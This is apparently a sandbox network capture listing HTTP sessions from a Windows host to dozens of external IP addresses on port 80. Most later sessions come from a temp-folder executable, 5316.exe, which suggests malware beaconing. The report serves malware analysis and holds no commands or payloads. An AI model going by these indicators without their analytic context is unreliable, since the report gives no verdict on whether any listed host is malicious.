
Session ID	Source IP	Source Port	Destination IP	Destination Port
645	192.168.2.4	64260	205.178.187.19	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
646	192.168.2.4	64261	198.49.23.144	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
647	192.168.2.4	64350	3.94.41.167	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
648	192.168.2.4	64324	185.230.63.171	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
649	192.168.2.4	64354	198.49.23.145	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
650	192.168.2.4	64334	185.230.63.107	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
651	192.168.2.4	64353	185.230.63.107	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
652	192.168.2.4	64511	162.255.119.149	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
653	192.168.2.4	64240	160.124.181.5	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
654	192.168.2.4	64337	187.134.52.10	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
655	192.168.2.4	64587	217.70.184.38	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
656	192.168.2.4	64789	13.248.169.48	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
657	192.168.2.4	64884	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
658	192.168.2.4	64885	13.248.169.48	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
659	192.168.2.4	64788	199.34.228.100	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
660	192.168.2.4	64925	76.223.105.230	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
661	192.168.2.4	64918	162.255.119.149	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
662	192.168.2.4	64923	192.64.119.142	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
663	192.168.2.4	64822	199.34.228.152	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
664	192.168.2.4	64853	199.34.228.152	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
665	192.168.2.4	64896	69.20.103.147	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
666	192.168.2.4	64795	185.112.125.71	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
667	192.168.2.4	64938	13.248.169.48	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
668	192.168.2.4	64939	64.91.249.20	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
669	192.168.2.4	64922	185.103.16.167	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
670	192.168.2.4	65021	65.8.178.81	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
671	192.168.2.4	64964	199.34.228.100	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
672	192.168.2.4	65048	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
673	192.168.2.4	65057	23.227.38.32	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
674	192.168.2.4	65052	65.8.178.81	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
675	192.168.2.4	65058	23.227.38.32	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
676	192.168.2.4	65068	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
677	192.168.2.4	65069	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
678	192.168.2.4	65075	205.178.187.24	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
679	192.168.2.4	65050	185.230.63.171	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
680	192.168.2.4	65089	205.178.189.129	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
681	192.168.2.4	64919	157.112.187.45	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
682	192.168.2.4	65060	209.126.24.60	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
683	192.168.2.4	65156	205.178.189.131	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
684	192.168.2.4	65038	162.215.248.230	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
685	192.168.2.4	65051	162.215.248.230	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
686	192.168.2.4	65055	77.72.0.94	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
687	192.168.2.4	65041	217.76.128.47	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
688	192.168.2.4	65070	95.173.180.22	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
689	192.168.2.4	65054	157.112.187.45	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
690	192.168.2.4	65036	160.124.181.5	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
691	192.168.2.4	65143	160.124.181.5	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
692	192.168.2.4	65323	91.195.240.19	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
693	192.168.2.4	65528	34.133.154.140	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
694	192.168.2.4	49354	199.59.243.225	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
695	192.168.2.4	65529	91.195.240.19	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
696	192.168.2.4	49532	15.197.192.55	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
697	192.168.2.4	49528	23.227.38.74	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
698	192.168.2.4	49331	199.34.228.152	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
699	192.168.2.4	49529	23.227.38.74	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
700	192.168.2.4	49336	199.34.228.100	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
701	192.168.2.4	49576	76.223.105.230	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
702	192.168.2.4	49508	205.178.187.19	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
703	192.168.2.4	49569	66.96.160.139	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
704	192.168.2.4	49505	199.34.228.100	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
705	192.168.2.4	50095	3.94.41.167	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
706	192.168.2.4	50188	162.159.134.42	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
707	192.168.2.4	50228	162.255.119.149	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
708	192.168.2.4	50099	157.112.187.45	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
709	192.168.2.4	50384	162.255.119.149	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
710	192.168.2.4	50382	185.230.63.107	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
711	192.168.2.4	50386	199.34.228.100	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
712	192.168.2.4	50322	160.124.181.5	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
713	192.168.2.4	50693	13.248.169.48	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
714	192.168.2.4	50696	13.248.169.48	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
715	192.168.2.4	50695	3.33.130.190	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
716	192.168.2.4	50705	76.223.105.230	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
717	192.168.2.4	50350	160.124.181.5	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
718	192.168.2.4	50691	151.101.1.195	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
719	192.168.2.4	50694	151.101.1.195	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
720	192.168.2.4	50709	192.64.119.142	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
721	192.168.2.4	50711	205.178.187.24	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
722	192.168.2.4	50690	3.94.41.167	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
723	192.168.2.4	50692	185.230.63.171	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
724	192.168.2.4	50149	185.103.16.167	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
725	192.168.2.4	50708	162.215.248.230	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
726	192.168.2.4	50510	187.134.52.10	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
727	192.168.2.4	50337	162.215.248.230	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
728	192.168.2.4	50828	3.33.130.190	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
729	192.168.2.4	50830	13.248.169.48	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
730	192.168.2.4	50809	3.33.130.190	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
731	192.168.2.4	50854	3.33.130.190	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
732	192.168.2.4	50418	157.112.187.45	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
733	192.168.2.4	50435	199.34.228.100	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
734	192.168.2.4	50710	185.230.63.107	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
735	192.168.2.4	50584	54.69.113.134	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
736	192.168.2.4	51169	83.98.155.23	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
737	192.168.2.4	50808	185.112.125.71	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
738	192.168.2.4	51236	15.197.192.55	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
739	192.168.2.4	51077	199.34.228.100	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
740	192.168.2.4	50995	91.195.240.19	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
741	192.168.2.4	51069	199.34.228.152	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
742	192.168.2.4	51237	198.49.23.144	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
743	192.168.2.4	51124	54.69.113.134	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
744	192.168.2.4	51165	91.195.240.19	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
745	192.168.2.4	51318	76.223.105.230	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
746	192.168.2.4	51405	205.178.187.19	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
747	192.168.2.4	51406	96.45.112.177	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
748	192.168.2.4	51401	34.133.154.140	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
749	192.168.2.4	51438	162.215.248.230	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
750	192.168.2.4	51439	217.70.184.38	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
751	192.168.2.4	51579	199.60.103.25	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
752	192.168.2.4	51578	199.60.103.25	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
753	192.168.2.4	51404	77.72.0.94	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
754	192.168.2.4	51604	198.49.23.145	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
755	192.168.2.4	51754	172.67.181.211	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
756	192.168.2.4	51801	65.8.178.81	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
757	192.168.2.4	51810	65.8.178.81	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
758	192.168.2.4	51847	192.64.119.142	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
759	192.168.2.4	51823	3.94.41.167	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
760	192.168.2.4	51747	162.215.248.230	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
761	192.168.2.4	51824	209.126.24.60	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
762	192.168.2.4	51781	199.34.228.152	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
763	192.168.2.4	51776	199.34.228.100	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
764	192.168.2.4	51570	160.124.181.5	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
765	192.168.2.4	52061	185.230.63.107	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
766	192.168.2.4	51864	23.227.38.32	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
767	192.168.2.4	52156	216.239.32.21	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
768	192.168.2.4	51652	199.34.228.152	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
769	192.168.2.4	51715	185.103.16.167	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
770	192.168.2.4	52071	23.227.38.32	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
771	192.168.2.4	52327	185.230.63.171	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
772	192.168.2.4	52268	162.159.134.42	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
773	192.168.2.4	52097	95.173.180.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
774	192.168.2.4	52266	157.112.187.45	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
775	192.168.2.4	52243	187.134.52.10	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
776	192.168.2.4	52641	34.133.154.140	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
777	192.168.2.4	52353	87.98.154.146	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
778	192.168.2.4	53059	23.227.38.74	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
779	192.168.2.4	53152	23.227.38.74	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
780	192.168.2.4	53212	15.197.192.55	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
781	192.168.2.4	53281	185.230.63.107	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
782	192.168.2.4	53397	172.67.181.211	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
783	192.168.2.4	53082	185.112.125.71	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
784	192.168.2.4	53332	205.178.187.24	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
785	192.168.2.4	53322	142.250.217.211	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
786	192.168.2.4	53694	151.101.1.195	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
787	192.168.2.4	53193	160.124.181.5	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
788	192.168.2.4	53207	160.124.181.5	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
789	192.168.2.4	53244	199.34.228.152	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
790	192.168.2.4	53751	157.112.187.45	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
791	192.168.2.4	53952	192.64.119.142	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
792	192.168.2.4	53838	54.69.113.134	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
793	192.168.2.4	53752	185.103.16.167	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
794	192.168.2.4	53904	205.178.187.19	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
795	192.168.2.4	54152	172.217.15.206	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
796	192.168.2.4	53923	77.72.0.94	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
797	192.168.2.4	54060	199.34.228.152	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
798	192.168.2.4	54177	187.134.52.10	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
799	192.168.2.4	54419	172.67.181.211	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
800	192.168.2.4	54199	160.124.181.5	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
801	192.168.2.4	54222	160.124.181.5	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
802	192.168.2.4	54474	34.133.154.140	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
803	192.168.2.4	54529	209.126.24.60	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
804	192.168.2.4	54591	65.8.178.81	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
805	192.168.2.4	54601	199.60.103.25	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
806	192.168.2.4	54642	192.64.119.142	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
